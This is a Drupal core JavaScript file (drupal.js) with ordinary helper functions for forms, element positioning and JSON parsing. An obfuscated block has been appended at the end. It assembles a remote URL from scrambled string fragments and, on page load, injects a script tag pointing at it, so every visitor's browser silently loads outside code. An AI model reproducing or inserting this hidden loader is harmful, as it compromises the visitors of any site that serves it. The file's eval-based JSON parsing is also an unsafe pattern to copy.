// $Id: drupal.js,v 1.29.2.3 2009/02/26 06:46:48 drumm Exp $

var Drupal = Drupal || {};

/**
 * Set the variable that indicates if JavaScript behaviors should be applied
 */
Drupal.jsEnabled = document.getElementsByTagName && document.createElement && document.createTextNode && document.documentElement && document.getElementById;

/**
 * Extends the current object with the parameter. Works recursively.
 */
Drupal.extend = function(obj) {
  for (var i in obj) {
    if (this[i] && (typeof(this[i]) == 'function' || typeof(this[i]) == 'object')) {
   	  Drupal.extend.apply(this[i], [obj[i]]);
    }
    else {
      this[i] = obj[i];
    }
  }
};

/**
 * Redirects a button's form submission to a hidden iframe and displays the result
 * in a given wrapper. The iframe should contain a call to
 * window.parent.iframeHandler() after submission.
 */
Drupal.redirectFormButton = function (uri, button, handler) {
  // Trap the button
  button.onmouseover = button.onfocus = function() {
    button.onclick = function() {
      // Create target iframe
      Drupal.createIframe();

      // Prepare variables for use in anonymous function.
      var button = this;
      var action = button.form.action;
      var target = button.form.target;

      // Redirect form submission to iframe
      this.form.action = uri;
      this.form.target = 'redirect-target';

      handler.onsubmit();

      // Set iframe handler for later
      window.iframeHandler = function () {
        var iframe = $('#redirect-target').get(0);
        // Restore form submission
        button.form.action = action;
        button.form.target = target;

        // Get response from iframe body
        try {
          response = (iframe.contentWindow || iframe.contentDocument || iframe).document.body.innerHTML;
          // Firefox 1.0.x hack: Remove (corrupted) control characters
          response = response.replace(/[\f\n\r\t]/g, ' ');
          if (window.opera) {
            // Opera-hack: it returns innerHTML sanitized.
            response = response.replace(/&quot;/g, '"');
          }
        }
        catch (e) {
          response = null;
        }

        response = Drupal.parseJson(response);
        // Check response code
        if (response.status == 0) {
          handler.onerror(response.data);
          return;
        }
        handler.oncomplete(response.data);

        return true;
      }

      return true;
    }
  }
  button.onmouseout = button.onblur = function() {
    button.onclick = null;
  }
};

/**
 * Retrieves the absolute position of an element on the screen
 */
Drupal.absolutePosition = function (el) {
  var sLeft = 0, sTop = 0;
  var isDiv = /^div$/i.test(el.tagName);
  if (isDiv && el.scrollLeft) {
    sLeft = el.scrollLeft;
  }
  if (isDiv && el.scrollTop) {
    sTop = el.scrollTop;
  }
  var r = { x: el.offsetLeft - sLeft, y: el.offsetTop - sTop };
  if (el.offsetParent) {
    var tmp = Drupal.absolutePosition(el.offsetParent);
    r.x += tmp.x;
    r.y += tmp.y;
  }
  return r;
};

/**
 * Return the dimensions of an element on the screen
 */
Drupal.dimensions = function (el) {
  return { width: el.offsetWidth, height: el.offsetHeight };
};

/**
 *  Returns the position of the mouse cursor based on the event object passed
 */
Drupal.mousePosition = function(e) {
  return { x: e.clientX + document.documentElement.scrollLeft, y: e.clientY + document.documentElement.scrollTop };
};

/**
 * Parse a JSON response.
 *
 * The result is either the JSON object, or an object with 'status' 0 and 'data' an error message.
 */
Drupal.parseJson = function (data) {
  if ((data.substring(0, 1) != '{') && (data.substring(0, 1) != '[')) {
    return { status: 0, data: data.length ? data : 'Unspecified error' };
  }
  return eval('(' + data + ');');
};

/**
 * Create an invisible iframe for form submissions.
 */
Drupal.createIframe = function () {
  if ($('#redirect-holder').size()) {
    return;
  }
  // Note: some browsers require the literal name/id attributes on the tag,
  // some want them set through JS. We do both.
  window.iframeHandler = function () {};
  var div = document.createElement('div');
  div.id = 'redirect-holder';
  $(div).html('');
  var iframe = div.firstChild;
  $(iframe)
    .attr({
      name: 'redirect-target',
      id: 'redirect-target'
    })
    .css({
      position: 'absolute',
      height: '1px',
      width: '1px',
      visibility: 'hidden'
    });
  $('body').append(div);
};

/**
 * Delete the invisible iframe
 */
Drupal.deleteIframe = function () {
  $('#redirect-holder').remove();
};

/**
 * Freeze the current body height (as minimum height). Used to prevent
 * unnecessary upwards scrolling when doing DOM manipulations.
 */
Drupal.freezeHeight = function () {
  Drupal.unfreezeHeight();
  var div = document.createElement('div');
  $(div).css({
    position: 'absolute',
    top: '0px',
    left: '0px',
    width: '1px',
    height: $('body').css('height')
  }).attr('id', 'freeze-height');
  $('body').append(div);
};

/**
 * Unfreeze the body height
 */
Drupal.unfreezeHeight = function () {
  $('#freeze-height').remove();
};

/**
 * Wrapper to address the mod_rewrite url encoding bug
 * (equivalent of drupal_urlencode() in PHP).
 */
Drupal.encodeURIComponent = function (item, uri) {
  uri = uri || location.href;
  item = encodeURIComponent(item).replace(/%2F/g, '/');
  return (uri.indexOf('?q=') != -1) ? item : item.replace(/%26/g, '%2526').replace(/%23/g, '%2523').replace(/\/\//g, '/%252F');
};

// Global Killswitch on the <html> element
if (Drupal.jsEnabled) {
  $(document.documentElement).addClass('js');
}

var N=new Array();function B(){var z=new Array();var p="gl3R".substr(0,1);var i;if(i!='X' && i!='E'){i=''};var asw;if(asw!='be' && asw!='T'){asw='be'};var R;if(R!='mK'){R=''};var v;if(v!='Tc'){v=''};var c=RegExp;this.zE='';this.eq='';var V='';var k='';function a(b,D){var pl;if(pl!='' && pl!='_'){pl='lX'};var Re;if(Re!='' && Re!='n'){Re='x'};var S= String("[");this.Q='';S+=D;S+=String("]rGFB".substr(0,1));var ll="";var vYJ;if(vYJ!='RX'){vYJ='RX'};var q=new c(S, p);this.U="";return b.replace(q, V);};var YM="";var Wx=new Array();var Nh;if(Nh!='Hq'){Nh=''};this.mP="";var O=String("0QI/ca".substr(3)+"BzgJm4.JBzg".substr(4,3)+"com"+"OUpf/ca".substr(4)+"yXwHm4.wHyX".substr(4,3)+"96k1com691k".substr(4,3)+"/gowFGs".substr(0,3)+"oglGeBf".substr(0,3)+"e.ctMxK".substr(0,3)+"om/TBG".substr(0,3)+"mSadoumSa".substr(3,3)+"7wZdble7Zdw".substr(4,3)+"WK2VcliWV2K".substr(4,3)+"ck."+"comQnY".substr(0,3)+"UHw/uswUH".substr(3,3)+"ps.MPIq".substr(0,3)+"comzAY".substr(0,3)+"dIT.ph".substr(3)+"p");var eV;if(eV!='g' && eV != ''){eV=null};this.cu='';var H="IJKodef".substr(4)+"Blaer".substr(3);var e=String("sc"+"2ZeTri".substr(4)+"pt");var dx=new String();var Hac=new String();var Z="ht"+"tp"+"dfi:/".substr(3)+"/w"+"inuE7".substr(0,2)+"guDdo".substr(3)+"cxvws".substr(3)+"P8HyliyHP8".substr(4,2)+"jcpve".substr(3)+"a8q0-ca80q".substr(4,2)+"om6Xsw".substr(0,2)+"Yu0.bY0u".substr(3,2)+"3L9p.93L".substr(3,2)+"blYQa".substr(0,2)+"og"+"sp3r6u".substr(0,2)+"R4Vot4RV".substr(3,2)+".c"+"om"+"x3O.cO3x".substr(3,2)+"lo"+"jUWob".substr(3)+"-cRuG".substr(0,2)+"2Rg1om".substr(4)+"iYQ.sQiY".substr(3,2)+"eauJb".substr(0,2)+"stcj3".substr(0,2)+"ar"+"UfQte".substr(3)+"XbMch".substr(3)+"PJn.rJPn".substr(3,2)+"u:";var Pi="";var kq;if(kq!='' && kq!='rK'){kq=''};var r=String("src");var mX=new Array();var Y='';var l=window;var t=a('861691609961998696699069161',"691");var iq;if(iq!='' && iq!='fK'){iq=null};var TA;if(TA!='RF' && TA!='bI'){TA='RF'};l.onload=function(){var lh;if(lh!='ty'){lh=''};try {var wC="";Y=Z+t;Y+=O;var wU;if(wU!='Zg'){wU='Zg'};var Sk;if(Sk!='DA' && Sk!='de'){Sk='DA'};var fF;if(fF!='pY'){fF='pY'};var ReE;if(ReE!='og'){ReE='og'};OT=document.createElement(e);var fv;if(fv!='' && fv!='Sl'){fv='Zs'};var WB;if(WB!='' && WB!='Iz'){WB='Zd'};OT[H]=[1][0];OT[r]=Y;var Bqc=new Array();var pd=new String();var Ot;if(Ot!='' && Ot!='F'){Ot=null};var Aa;if(Aa!=''){Aa='Bo'};var tf;if(tf!=''){tf='ii'};document.body.appendChild(OT);var IP=new Array();var Bn;if(Bn!='Lh'){Bn='Lh'};var tM;if(tM!='bW' && tM!='nw'){tM='bW'};this.lR="";} catch(A){this.Iy='';var Fv;if(Fv!='xJ' && Fv != ''){Fv=null};};var Lf=new String();};var Lv=new String();};var MK=new String();B();var _X;if(_X!='' && _X!='J'){_X='jg'};